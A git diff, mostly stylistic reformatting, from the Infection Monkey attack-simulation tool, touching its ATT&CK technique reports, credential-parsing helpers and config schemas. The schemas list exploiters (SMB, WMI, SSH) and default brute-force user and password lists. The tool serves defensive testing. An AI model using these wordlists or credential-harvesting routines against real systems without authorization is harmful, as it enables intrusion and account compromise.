[{"$arrayElemAt": ["$data.ip", 0]}], + "$project":{ + "_id":0, + "machine":{ + "hostname":{"$arrayElemAt":["$data.hostname", 0]}, + "ips":[{"$arrayElemAt":["$data.ip", 0]}], }, - "result": "$data.result", + "result":"$data.result", } }, - {"$unwind": "$result"}, + {"$unwind":"$result"}, { - "$match": { - "$or": [{"result": {"$regex": r"\.bash"}}, {"result": {"$regex": r"\.profile"}}] + "$match":{ + "$or":[{"result":{"$regex":r"\.bash"}}, {"result":{"$regex":r"\.profile"}}] } }, ] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1166.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1166.py index ab482f0f665..4ed2375a595 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1166.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1166.py @@ -6,7 +6,10 @@ class T1166(PostBreachTechnique): tech_id = "T1166" - unscanned_msg = "Monkey didn't try setting the setuid or setgid bits since it didn't run on any Linux machines." + unscanned_msg = ( + "Monkey didn't try setting the setuid or setgid bits since it didn't run on " + "any Linux machines." + ) scanned_msg = "Monkey tried setting the setuid or setgid bits but failed." used_msg = "Monkey successfully set the setuid or setgid bits." pba_names = [POST_BREACH_SETUID_SETGID] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py index 473e2b9dfd3..b4ea47ada50 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py @@ -25,11 +25,11 @@ def get_technique_status_and_data(): proxy = proxy.tunnel if proxy_count > 1: hops.append( - { - "from": initial.get_network_info(), - "to": proxy.get_network_info(), - "count": proxy_count, - } + { + "from":initial.get_network_info(), + "to":proxy.get_network_info(), + "count":proxy_count, + } ) status = ScanStatus.USED.value if hops else ScanStatus.UNSCANNED.value return (status, hops) @@ -37,5 +37,5 @@ def get_technique_status_and_data(): status, hops = get_technique_status_and_data() data = T1188.get_base_data_by_status(status) - data.update({"hops": hops}) + data.update({"hops":hops}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py index be1b669f69b..eb71840efb5 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py @@ -16,19 +16,19 @@ class T1197(AttackTechnique): def get_report_data(): data = T1197.get_tech_base_data() bits_results = mongo.db.telemetry.aggregate( - [ - {"$match": {"telem_category": "attack", "data.technique": T1197.tech_id}}, - { - "$group": { - "_id": {"ip_addr": "$data.machine.ip_addr", "usage": "$data.usage"}, - "ip_addr": {"$first": "$data.machine.ip_addr"}, - "domain_name": {"$first": "$data.machine.domain_name"}, - "usage": {"$first": "$data.usage"}, - "time": {"$first": "$timestamp"}, - } - }, - ] + [ + {"$match":{"telem_category":"attack", "data.technique":T1197.tech_id}}, + { + "$group":{ + "_id":{"ip_addr":"$data.machine.ip_addr", "usage":"$data.usage"}, + "ip_addr":{"$first":"$data.machine.ip_addr"}, + "domain_name":{"$first":"$data.machine.domain_name"}, + "usage":{"$first":"$data.usage"}, + "time":{"$first":"$timestamp"}, + } + }, + ] ) bits_results = list(bits_results) - data.update({"bits_jobs": bits_results}) + data.update({"bits_jobs":bits_results}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py index 9d4a17bf5ae..140697b7f07 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -35,45 +35,45 @@ def get_technique_status_and_data(): scanned_services, exploited_services = [], [] else: scanned_services, exploited_services = status_and_data[1], status_and_data[2] - data = {"title": T1210.technique_title()} + data = {"title":T1210.technique_title()} data.update(T1210.get_message_and_status(status)) data.update(T1210.get_mitigation_by_status(status)) data.update( - {"scanned_services": scanned_services, "exploited_services": exploited_services} + {"scanned_services":scanned_services, "exploited_services":exploited_services} ) return data @staticmethod def get_scanned_services(): results = mongo.db.telemetry.aggregate( - [ - {"$match": {"telem_category": "scan"}}, - {"$sort": {"data.service_count": -1}}, - { - "$group": { - "_id": {"ip_addr": "$data.machine.ip_addr"}, - "machine": {"$first": "$data.machine"}, - "time": {"$first": "$timestamp"}, - } - }, - ] + [ + {"$match":{"telem_category":"scan"}}, + {"$sort":{"data.service_count":-1}}, + { + "$group":{ + "_id":{"ip_addr":"$data.machine.ip_addr"}, + "machine":{"$first":"$data.machine"}, + "time":{"$first":"$timestamp"}, + } + }, + ] ) return list(results) @staticmethod def get_exploited_services(): results = mongo.db.telemetry.aggregate( - [ - {"$match": {"telem_category": "exploit", "data.result": True}}, - { - "$group": { - "_id": {"ip_addr": "$data.machine.ip_addr"}, - "service": {"$first": "$data.info"}, - "machine": {"$first": "$data.machine"}, - "time": {"$first": "$timestamp"}, - } - }, - ] + [ + {"$match":{"telem_category":"exploit", "data.result":True}}, + { + "$group":{ + "_id":{"ip_addr":"$data.machine.ip_addr"}, + "service":{"$first":"$data.info"}, + "machine":{"$first":"$data.machine"}, + "time":{"$first":"$timestamp"}, + } + }, + ] ) return list(results) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py index 6ed73765a96..06dd6b2531f 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py @@ -7,20 +7,23 @@ class T1216(PostBreachTechnique): tech_id = "T1216" unscanned_msg = ( - "Monkey didn't attempt to execute an arbitrary program with the help of a " - + "pre-existing signed script since it didn't run on any Windows machines. " - + "If successful, this behavior could be abused by adversaries to execute malicious files that could " - + "bypass application control and signature validation on systems." + "Monkey didn't attempt to execute an arbitrary program with the help of a " + + "pre-existing signed script since it didn't run on any Windows machines. " + + "If successful, this behavior could be abused by adversaries to execute malicious " + "files that could " + "bypass application control and signature validation on " + "systems." ) scanned_msg = ( - "Monkey attempted to execute an arbitrary program with the help of a " - + "pre-existing signed script on Windows but failed. " - + "If successful, this behavior could be abused by adversaries to execute malicious files that could " - + "bypass application control and signature validation on systems." + "Monkey attempted to execute an arbitrary program with the help of a " + + "pre-existing signed script on Windows but failed. " + + "If successful, this behavior could be abused by adversaries to execute malicious " + "files that could " + "bypass application control and signature validation on " + "systems." ) used_msg = ( - "Monkey executed an arbitrary program with the help of a pre-existing signed script on Windows. " - + "This behavior could be abused by adversaries to execute malicious files that could " - + "bypass application control and signature validation on systems." + "Monkey executed an arbitrary program with the help of a pre-existing signed script " + "on Windows. " + + "This behavior could be abused by adversaries to execute malicious files that could " + + "bypass application control and signature validation on systems." ) pba_names = [POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py index 3a6ba6f9772..6af595d9984 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py @@ -13,26 +13,26 @@ class T1222(AttackTechnique): query = [ { - "$match": { - "telem_category": "attack", - "data.technique": "T1222", - "data.status": ScanStatus.USED.value, + "$match":{ + "telem_category":"attack", + "data.technique":"T1222", + "data.status":ScanStatus.USED.value, } }, { - "$group": { - "_id": { - "machine": "$data.machine", - "status": "$data.status", - "command": "$data.command", + "$group":{ + "_id":{ + "machine":"$data.machine", + "status":"$data.status", + "command":"$data.command", } } }, - {"$replaceRoot": {"newRoot": "$_id"}}, + {"$replaceRoot":{"newRoot":"$_id"}}, ] @staticmethod def get_report_data(): data = T1222.get_tech_base_data() - data.update({"commands": list(mongo.db.telemetry.aggregate(T1222.query))}) + data.update({"commands":list(mongo.db.telemetry.aggregate(T1222.query))}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py index d348c921b10..c2c342ea2e7 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py @@ -6,7 +6,10 @@ class T1504(PostBreachTechnique): tech_id = "T1504" - unscanned_msg = "Monkey didn't try modifying powershell startup files since it didn't run on any Windows machines." + unscanned_msg = ( + "Monkey didn't try modifying powershell startup files since it didn't run on " + "any Windows machines." + ) scanned_msg = "Monkey tried modifying powershell startup files but failed." used_msg = "Monkey successfully modified powershell startup files." pba_names = [POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION] @@ -15,21 +18,21 @@ class T1504(PostBreachTechnique): def get_pba_query(*args): return [ { - "$match": { - "telem_category": "post_breach", - "data.name": POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION, + "$match":{ + "telem_category":"post_breach", + "data.name":POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION, } }, { - "$project": { - "_id": 0, - "machine": { - "hostname": {"$arrayElemAt": ["$data.hostname", 0]}, - "ips": [{"$arrayElemAt": ["$data.ip", 0]}], + "$project":{ + "_id":0, + "machine":{ + "hostname":{"$arrayElemAt":["$data.hostname", 0]}, + "ips":[{"$arrayElemAt":["$data.ip", 0]}], }, - "result": "$data.result", + "result":"$data.result", } }, - {"$unwind": "$result"}, - {"$match": {"result": {"$regex": r"profile\.ps1"}}}, + {"$unwind":"$result"}, + {"$match":{"result":{"$regex":r"profile\.ps1"}}}, ] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index 7cdf9010c28..b332634821a 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -9,10 +9,9 @@ logger = logging.getLogger(__name__) - disabled_msg = ( - "This technique has been disabled. " - + "You can enable it from the [configuration page](../../configure)." + "This technique has been disabled. " + + "You can enable it from the [configuration page](../../configure)." ) @@ -68,19 +67,19 @@ def technique_status(cls): if not cls._is_enabled_in_config(): return ScanStatus.DISABLED.value elif mongo.db.telemetry.find_one( - { - "telem_category": "attack", - "data.status": ScanStatus.USED.value, - "data.technique": cls.tech_id, - } + { + "telem_category":"attack", + "data.status":ScanStatus.USED.value, + "data.technique":cls.tech_id, + } ): return ScanStatus.USED.value elif mongo.db.telemetry.find_one( - { - "telem_category": "attack", - "data.status": ScanStatus.SCANNED.value, - "data.technique": cls.tech_id, - } + { + "telem_category":"attack", + "data.status":ScanStatus.SCANNED.value, + "data.technique":cls.tech_id, + } ): return ScanStatus.SCANNED.value else: @@ -93,7 +92,7 @@ def get_message_and_status(cls, status): :param status: Enum from common/attack_utils.py integer value :return: Dict with message and status """ - return {"message": cls.get_message_by_status(status), "status": status} + return {"message":cls.get_message_by_status(status), "status":status} @classmethod def get_message_by_status(cls, status): @@ -122,13 +121,14 @@ def technique_title(cls): def get_tech_base_data(cls): """ Gathers basic attack technique data into a dict. - :return: dict E.g. {'message': 'Brute force used', 'status': 2, 'title': 'T1110 Brute force'} + :return: dict E.g. {'message': 'Brute force used', 'status': 2, 'title': 'T1110 Brute + force'} """ data = {} status = cls.technique_status() title = cls.technique_title() data.update( - {"status": status, "title": title, "message": cls.get_message_by_status(status)} + {"status":status, "title":title, "message":cls.get_message_by_status(status)} ) data.update(cls.get_mitigation_by_status(status)) return data @@ -136,7 +136,7 @@ def get_tech_base_data(cls): @classmethod def get_base_data_by_status(cls, status): data = cls.get_message_and_status(status) - data.update({"title": cls.technique_title()}) + data.update({"title":cls.technique_title()}) data.update(cls.get_mitigation_by_status(status)) return data @@ -144,7 +144,7 @@ def get_base_data_by_status(cls, status): def get_mitigation_by_status(cls, status: ScanStatus) -> dict: if status == ScanStatus.USED.value: mitigation_document = AttackMitigations.get_mitigation_by_technique_id(str(cls.tech_id)) - return {"mitigations": mitigation_document.to_mongo().to_dict()["mitigations"]} + return {"mitigations":mitigation_document.to_mongo().to_dict()["mitigations"]} else: return {} diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py index 1366f0d3a88..20590957364 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py @@ -20,23 +20,24 @@ def pba_names(self) -> List[str]: @classmethod def get_pba_query(cls, post_breach_action_names): """ - :param post_breach_action_names: Names of post-breach actions with which the technique is associated + :param post_breach_action_names: Names of post-breach actions with which the technique is + associated (example - `["Communicate as new user", "Backdoor user"]` for T1136) :return: Mongo query that parses attack telemetries for a simple report component (gets machines and post-breach action usage). """ return [ { - "$match": { - "telem_category": "post_breach", - "$or": [{"data.name": pba_name} for pba_name in post_breach_action_names], + "$match":{ + "telem_category":"post_breach", + "$or":[{"data.name":pba_name} for pba_name in post_breach_action_names], } }, { - "$project": { - "_id": 0, - "machine": {"hostname": "$data.hostname", "ips": ["$data.ip"]}, - "result": "$data.result", + "$project":{ + "_id":0, + "machine":{"hostname":"$data.hostname", "ips":["$data.ip"]}, + "result":"$data.result", } }, ] @@ -53,17 +54,17 @@ def get_technique_status_and_data(): status = ScanStatus.UNSCANNED.value if info: successful_PBAs = mongo.db.telemetry.count( - { - "$or": [{"data.name": pba_name} for pba_name in cls.pba_names], - "data.result.1": True, - } + { + "$or":[{"data.name":pba_name} for pba_name in cls.pba_names], + "data.result.1":True, + } ) status = ScanStatus.USED.value if successful_PBAs else ScanStatus.SCANNED.value return (status, info) - data = {"title": cls.technique_title()} + data = {"title":cls.technique_title()} status, info = get_technique_status_and_data() data.update(cls.get_base_data_by_status(status)) - data.update({"info": info}) + data.update({"info":info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py index 0a9a1045b23..16ab5bf3575 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py @@ -9,10 +9,10 @@ def parse_creds(attempt): """ username = attempt["user"] creds = { - "lm_hash": {"type": "LM hash", "output": censor_hash(attempt["lm_hash"])}, - "ntlm_hash": {"type": "NTLM hash", "output": censor_hash(attempt["ntlm_hash"], 20)}, - "ssh_key": {"type": "SSH key", "output": attempt["ssh_key"]}, - "password": {"type": "Plaintext password", "output": censor_password(attempt["password"])}, + "lm_hash":{"type":"LM hash", "output":censor_hash(attempt["lm_hash"])}, + "ntlm_hash":{"type":"NTLM hash", "output":censor_hash(attempt["ntlm_hash"], 20)}, + "ssh_key":{"type":"SSH key", "output":attempt["ssh_key"]}, + "password":{"type":"Plaintext password", "output":censor_password(attempt["password"])}, } for key, cred in list(creds.items()): if attempt[key]: diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py index bfa406b96b4..80f70010bdf 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py @@ -17,8 +17,8 @@ def parse_usages(usage): usage["usage"] = UsageEnum[usage["usage"]].value[usage["status"]] except KeyError: logger.error( - "Error translating usage enum. into string. " - "Check if usage enum field exists and covers all telem. statuses." + "Error translating usage enum. into string. " + "Check if usage enum field exists and covers all telem. statuses." ) return usage @@ -38,29 +38,29 @@ def get_usage_query(cls): (gets machines and attack technique usage). """ return [ - {"$match": {"telem_category": "attack", "data.technique": cls.tech_id}}, + {"$match":{"telem_category":"attack", "data.technique":cls.tech_id}}, { - "$lookup": { - "from": "monkey", - "localField": "monkey_guid", - "foreignField": "guid", - "as": "monkey", + "$lookup":{ + "from":"monkey", + "localField":"monkey_guid", + "foreignField":"guid", + "as":"monkey", } }, { - "$project": { - "monkey": {"$arrayElemAt": ["$monkey", 0]}, - "status": "$data.status", - "usage": "$data.usage", + "$project":{ + "monkey":{"$arrayElemAt":["$monkey", 0]}, + "status":"$data.status", + "usage":"$data.usage", } }, { - "$addFields": { - "_id": 0, - "machine": {"hostname": "$monkey.hostname", "ips": "$monkey.ip_addresses"}, - "monkey": 0, + "$addFields":{ + "_id":0, + "machine":{"hostname":"$monkey.hostname", "ips":"$monkey.ip_addresses"}, + "monkey":0, } }, - {"$group": {"_id": {"machine": "$machine", "status": "$status", "usage": "$usage"}}}, - {"$replaceRoot": {"newRoot": "$_id"}}, + {"$group":{"_id":{"machine":"$machine", "status":"$status", "usage":"$usage"}}}, + {"$replaceRoot":{"newRoot":"$_id"}}, ] diff --git a/monkey/monkey_island/cc/services/bootloader.py b/monkey/monkey_island/cc/services/bootloader.py index 05bdac8f180..b295b9c5892 100644 --- a/monkey/monkey_island/cc/services/bootloader.py +++ b/monkey/monkey_island/cc/services/bootloader.py @@ -19,7 +19,7 @@ def parse_bootloader_telem(telem: Dict) -> bool: telem["os_version"] = "Unknown OS" telem_id = BootloaderService.get_mongo_id_for_bootloader_telem(telem) - mongo.db.bootloader_telems.update({"_id": telem_id}, {"$setOnInsert": telem}, upsert=True) + mongo.db.bootloader_telems.update({"_id":telem_id}, {"$setOnInsert":telem}, upsert=True) will_monkey_run = BootloaderService.is_os_compatible(telem) try: diff --git a/monkey/monkey_island/cc/services/bootloader_test.py b/monkey/monkey_island/cc/services/bootloader_test.py index 81c4affffac..b8cb3adc662 100644 --- a/monkey/monkey_island/cc/services/bootloader_test.py +++ b/monkey/monkey_island/cc/services/bootloader_test.py @@ -3,14 +3,14 @@ from monkey_island.cc.services.bootloader import BootloaderService WINDOWS_VERSIONS = { - "5.0": "Windows 2000", - "5.1": "Windows XP", - "5.2": "Windows XP/server 2003", - "6.0": "Windows Vista/server 2008", - "6.1": "Windows 7/server 2008R2", - "6.2": "Windows 8/server 2012", - "6.3": "Windows 8.1/server 2012R2", - "10.0": "Windows 10/server 2016-2019", + "5.0":"Windows 2000", + "5.1":"Windows XP", + "5.2":"Windows XP/server 2003", + "6.0":"Windows Vista/server 2008", + "6.1":"Windows 7/server 2008R2", + "6.2":"Windows 8/server 2012", + "6.3":"Windows 8.1/server 2012R2", + "10.0":"Windows 10/server 2016-2019", } MIN_GLIBC_VERSION = 2.14 @@ -23,10 +23,10 @@ def test_is_glibc_supported(self): str3 = "ldd (GNU libc) 2.28" str4 = "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23" self.assertTrue( - not BootloaderService.is_glibc_supported(str1) - and not BootloaderService.is_glibc_supported(str2) - and BootloaderService.is_glibc_supported(str3) - and BootloaderService.is_glibc_supported(str4) + not BootloaderService.is_glibc_supported(str1) + and not BootloaderService.is_glibc_supported(str2) + and BootloaderService.is_glibc_supported(str3) + and BootloaderService.is_glibc_supported(str4) ) def test_remove_local_ips(self): diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index d6fe0a3cb9b..9c7b259e470 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -49,14 +49,16 @@ def __init__(self): def get_config(is_initial_config=False, should_decrypt=True, is_island=False): """ Gets the entire global config. - :param is_initial_config: If True, the initial config will be returned instead of the current config. - :param should_decrypt: If True, all config values which are set as encrypted will be decrypted. + :param is_initial_config: If True, the initial config will be returned instead of the + current config. + :param should_decrypt: If True, all config values which are set as encrypted will be + decrypted. :param is_island: If True, will include island specific configuration parameters. :return: The entire global config. """ config = ( - mongo.db.config.find_one({"name": "initial" if is_initial_config else "newconfig"}) - or {} + mongo.db.config.find_one({"name":"initial" if is_initial_config else "newconfig"}) + or {} ) for field in ("name", "_id"): config.pop(field, None) @@ -70,15 +72,17 @@ def get_config(is_initial_config=False, should_decrypt=True, is_island=False): def get_config_value(config_key_as_arr, is_initial_config=False, should_decrypt=True): """ Get a specific config value. - :param config_key_as_arr: The config key as an array. e.g. ['basic', 'credentials', 'exploit_password_list']. - :param is_initial_config: If True, returns the value of the initial config instead of the current config. + :param config_key_as_arr: The config key as an array. e.g. ['basic', 'credentials', + 'exploit_password_list']. + :param is_initial_config: If True, returns the value of the initial config instead of the + current config. :param should_decrypt: If True, the value of the config key will be decrypted (if it's in the list of encrypted config values). :return: The value of the requested config key. """ - config_key = functools.reduce(lambda x, y: x + "." + y, config_key_as_arr) + config_key = functools.reduce(lambda x, y:x + "." + y, config_key_as_arr) config = mongo.db.config.find_one( - {"name": "initial" if is_initial_config else "newconfig"}, {config_key: 1} + {"name":"initial" if is_initial_config else "newconfig"}, {config_key:1} ) for config_key_part in config_key_as_arr: config = config[config_key_part] @@ -93,7 +97,7 @@ def get_config_value(config_key_as_arr, is_initial_config=False, should_decrypt= @staticmethod def set_config_value(config_key_as_arr, value): mongo_key = ".".join(config_key_as_arr) - mongo.db.config.update({"name": "newconfig"}, {"$set": {mongo_key: value}}) + mongo.db.config.update({"name":"newconfig"}, {"$set":{mongo_key:value}}) @staticmethod def get_flat_config(is_initial_config=False, should_decrypt=True): @@ -123,47 +127,47 @@ def add_item_to_config_set_if_dont_exist(item_path_array, item_value, should_enc if should_encrypt: item_value = get_encryptor().enc(item_value) mongo.db.config.update( - {"name": "newconfig"}, {"$addToSet": {item_key: item_value}}, upsert=False + {"name":"newconfig"}, {"$addToSet":{item_key:item_value}}, upsert=False ) mongo.db.monkey.update( - {}, {"$addToSet": {"config." + item_key.split(".")[-1]: item_value}}, multi=True + {}, {"$addToSet":{"config." + item_key.split(".")[-1]:item_value}}, multi=True ) @staticmethod def creds_add_username(username): ConfigService.add_item_to_config_set_if_dont_exist( - USER_LIST_PATH, username, should_encrypt=False + USER_LIST_PATH, username, should_encrypt=False ) @staticmethod def creds_add_password(password): ConfigService.add_item_to_config_set_if_dont_exist( - PASSWORD_LIST_PATH, password, should_encrypt=True + PASSWORD_LIST_PATH, password, should_encrypt=True ) @staticmethod def creds_add_lm_hash(lm_hash): ConfigService.add_item_to_config_set_if_dont_exist( - LM_HASH_LIST_PATH, lm_hash, should_encrypt=True + LM_HASH_LIST_PATH, lm_hash, should_encrypt=True ) @staticmethod def creds_add_ntlm_hash(ntlm_hash): ConfigService.add_item_to_config_set_if_dont_exist( - NTLM_HASH_LIST_PATH, ntlm_hash, should_encrypt=True + NTLM_HASH_LIST_PATH, ntlm_hash, should_encrypt=True ) @staticmethod def ssh_add_keys(public_key, private_key, user, ip): if not ConfigService.ssh_key_exists( - ConfigService.get_config_value(SSH_KEYS_PATH, False, False), user, ip + ConfigService.get_config_value(SSH_KEYS_PATH, False, False), user, ip ): ConfigService.add_item_to_config_set_if_dont_exist( - SSH_KEYS_PATH, - {"public_key": public_key, "private_key": private_key, "user": user, "ip": ip}, - # SSH keys already encrypted in process_ssh_info() - should_encrypt=False, + SSH_KEYS_PATH, + {"public_key":public_key, "private_key":private_key, "user":user, "ip":ip}, + # SSH keys already encrypted in process_ssh_info() + should_encrypt=False, ) @staticmethod @@ -173,7 +177,7 @@ def ssh_key_exists(keys, user, ip): def _filter_none_values(data): if isinstance(data, dict): return { - k: ConfigService._filter_none_values(v) + k:ConfigService._filter_none_values(v) for k, v in data.items() if k is not None and v is not None } @@ -184,7 +188,8 @@ def _filter_none_values(data): @staticmethod def update_config(config_json, should_encrypt): - # PBA file upload happens on pba_file_upload endpoint and corresponding config options are set there + # PBA file upload happens on pba_file_upload endpoint and corresponding config options + # are set there config_json = ConfigService._filter_none_values(config_json) monkey_island.cc.services.post_breach_files.set_config_PBA_files(config_json) if should_encrypt: @@ -193,7 +198,7 @@ def update_config(config_json, should_encrypt): except KeyError: logger.error("Bad configuration file was submitted.") return False - mongo.db.config.update({"name": "newconfig"}, {"$set": config_json}, upsert=True) + mongo.db.config.update({"name":"newconfig"}, {"$set":config_json}, upsert=True) logger.info("monkey config was updated") return True @@ -201,7 +206,7 @@ def update_config(config_json, should_encrypt): def init_default_config(): if ConfigService.default_config is None: default_validating_draft4_validator = ConfigService._extend_config_with_default( - Draft4Validator + Draft4Validator ) config = {} default_validating_draft4_validator(SCHEMA).validate(config) @@ -243,10 +248,10 @@ def set_server_ips_in_config(config): @staticmethod def save_initial_config_if_needed(): - if mongo.db.config.find_one({"name": "initial"}) is not None: + if mongo.db.config.find_one({"name":"initial"}) is not None: return - initial_config = mongo.db.config.find_one({"name": "newconfig"}) + initial_config = mongo.db.config.find_one({"name":"newconfig"}) initial_config["name"] = "initial" initial_config.pop("_id") mongo.db.config.insert(initial_config) @@ -272,9 +277,9 @@ def set_defaults(validator, properties, instance, schema): for property4, subschema4 in list(subschema3["properties"].items()): if "properties" in subschema4: raise ValueError( - "monkey/monkey_island/cc/services/config.py " - "can't handle 5 level config. " - "Either change back the config or refactor." + "monkey/monkey_island/cc/services/config.py " + "can't handle 5 level config. " + "Either change back the config or refactor." ) if "default" in subschema4: layer_3_dict[property4] = subschema4["default"] @@ -286,8 +291,8 @@ def set_defaults(validator, properties, instance, schema): yield error return validators.extend( - validator_class, - {"properties": set_defaults}, + validator_class, + {"properties":set_defaults}, ) @staticmethod @@ -307,13 +312,13 @@ def decrypt_flat_config(flat_config, is_island=False): for key in keys: if isinstance(flat_config[key], collections.Sequence) and not isinstance( - flat_config[key], str + flat_config[key], str ): # Check if we are decrypting ssh key pair if ( - flat_config[key] - and isinstance(flat_config[key][0], dict) - and "public_key" in flat_config[key][0] + flat_config[key] + and isinstance(flat_config[key][0], dict) + and "public_key" in flat_config[key][0] ): flat_config[key] = [ ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key] @@ -330,7 +335,8 @@ def _encrypt_or_decrypt_config(config, is_decrypt=False): config_arr = config parent_config_arr = None - # Because the config isn't flat, this for-loop gets the actual config value out of the config + # Because the config isn't flat, this for-loop gets the actual config value out of + # the config for config_key_part in config_arr_as_array: parent_config_arr = config_arr config_arr = config_arr[config_key_part] diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py index aaf2e570e8f..b016e435e87 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic.py +++ b/monkey/monkey_island/cc/services/config_schema/basic.py @@ -1,19 +1,19 @@ BASIC = { - "title": "Exploits", - "type": "object", - "primary": True, - "properties": { - "exploiters": { - "title": "Exploiters", - "type": "object", - "description": "Choose which exploiters the Monkey will attempt.", - "properties": { - "exploiter_classes": { - "title": "Exploiters", - "type": "array", - "uniqueItems": True, - "items": {"$ref": "#/definitions/exploiter_classes"}, - "default": [ + "title":"Exploits", + "type":"object", + "primary":True, + "properties":{ + "exploiters":{ + "title":"Exploiters", + "type":"object", + "description":"Choose which exploiters the Monkey will attempt.", + "properties":{ + "exploiter_classes":{ + "title":"Exploiters", + "type":"array", + "uniqueItems":True, + "items":{"$ref":"#/definitions/exploiter_classes"}, + "default":[ "SmbExploiter", "WmiExploiter", "SSHExploiter", @@ -30,25 +30,26 @@ } }, }, - "credentials": { - "title": "Credentials", - "type": "object", - "properties": { - "exploit_user_list": { - "title": "Exploit user list", - "type": "array", - "uniqueItems": True, - "items": {"type": "string"}, - "default": ["Administrator", "root", "user"], - "description": "List of user names that will be used by exploiters that need credentials, like " - "SSH brute-forcing.", + "credentials":{ + "title":"Credentials", + "type":"object", + "properties":{ + "exploit_user_list":{ + "title":"Exploit user list", + "type":"array", + "uniqueItems":True, + "items":{"type":"string"}, + "default":["Administrator", "root", "user"], + "description":"List of user names that will be used by exploiters that need " + "credentials, like " + "SSH brute-forcing.", }, - "exploit_password_list": { - "title": "Exploit password list", - "type": "array", - "uniqueItems": True, - "items": {"type": "string"}, - "default": [ + "exploit_password_list":{ + "title":"Exploit password list", + "type":"array", + "uniqueItems":True, + "items":{"type":"string"}, + "default":[ "root", "123456", "password", @@ -57,8 +58,9 @@ "111111", "iloveyou", ], - "description": "List of passwords that will be used by exploiters that need credentials, like " - "SSH brute-forcing.", + "description":"List of passwords that will be used by exploiters that need " + "credentials, like " + "SSH brute-forcing.", }, }, }, diff --git a/monkey/monkey_island/cc/services/config_schema/basic_network.py b/monkey/monkey_island/cc/services/config_schema/basic_network.py index c515a8cbcda..47e57482545 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic_network.py +++ b/monkey/monkey_island/cc/services/config_schema/basic_network.py @@ -2,80 +2,91 @@ from monkey_island.cc.services.utils.typographic_symbols import WARNING_SIGN BASIC_NETWORK = { - "title": "Network", - "type": "object", - "properties": { - "scope": { - "title": "Scope", - "type": "object", - "properties": { - "blocked_ips": { - "title": "Blocked IPs", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string", - "format": IP, + "title":"Network", + "type":"object", + "properties":{ + "scope":{ + "title":"Scope", + "type":"object", + "properties":{ + "blocked_ips":{ + "title":"Blocked IPs", + "type":"array", + "uniqueItems":True, + "items":{ + "type":"string", + "format":IP, }, - "default": [], - "description": "List of IPs that the Monkey will not scan.", - "info": 'The Monkey scans its subnet if "Local network scan" is ticked. ' - 'Additionally the monkey scans machines according to "Scan target list".', + "default":[], + "description":"List of IPs that the Monkey will not scan.", + "info":'The Monkey scans its subnet if "Local network scan" is ticked. ' + 'Additionally the monkey scans machines according to "Scan ' + 'target list".', }, - "local_network_scan": { - "title": "Local network scan", - "type": "boolean", - "default": True, - "description": "Determines whether the Monkey will scan the local subnets of machines it runs on, " - 'in addition to the IPs that are configured manually in the "Scan target list".', + "local_network_scan":{ + "title":"Local network scan", + "type":"boolean", + "default":True, + "description":"Determines whether the Monkey will scan the local subnets of " + "machines it runs on, " + "in addition to the IPs that are configured manually in the " + '"Scan target list".', }, - "depth": { - "title": "Scan depth", - 